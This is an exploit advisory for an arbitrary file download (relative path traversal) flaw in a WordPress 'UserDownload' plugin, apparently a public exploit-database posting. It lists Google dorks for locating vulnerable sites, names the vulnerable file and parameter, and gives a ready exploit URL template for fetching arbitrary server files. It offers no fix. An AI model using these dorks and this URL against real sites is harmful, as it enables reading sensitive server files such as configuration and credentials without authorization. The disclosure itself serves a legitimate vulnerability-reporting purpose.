WordPress 5.1.1 UserDownload Themes Arbitrary File Download

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# Exploit Title : WordPress 5.1.1 UserDownload Themes Arbitrary File Download
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 18/03/2019
# Vendor Homepages : thedesignmill.com.au - jessebirch.com.au - ontopseo.com.au
# Software Information Link : jessebirch.com.au/website-design.html
ontopseo.com.au/about-us/
# Software Affected Version : 5.1.1
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Google Dorks : inurl:"/wp-content/plugins/userdownload/"
intext:SEO Services by ONTOP SEO
intext:Website design by Jesse Birch Design & Illustration
# Vulnerability Type :
CWE-200 [ Information Exposure ]
CWE-23 [ Relative Path Traversal ]
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos

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# Impact :
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* WordPress 5.1.1 UserDownload Themes is prone to a vulnerability that lets attackers download arbitrary files because the application

fails to sufficiently sanitize user-supplied input. An attacker can exploit this issue to download arbitrary files within the context of the

web server process and obtain potentially sensitive informations. * An information exposure is the intentional or unintentional disclosure

of information to an actor that is not explicitly authorized to have access to that information. * The software has Relative Path Traversal

vulnerability and it uses external input to construct a pathname that should be within a restricted directory, but it does not

properly neutralize sequences such as ".." that can resolve to a location that is outside of that directory.

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# Vulnerable File :
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/download.php

# Vulnerable Parameter :
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?download_file=

# Arbitrary File Download Exploit :
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/wp-content/plugins/userdownload/download.php?download_file=[FILENAME]

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# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team

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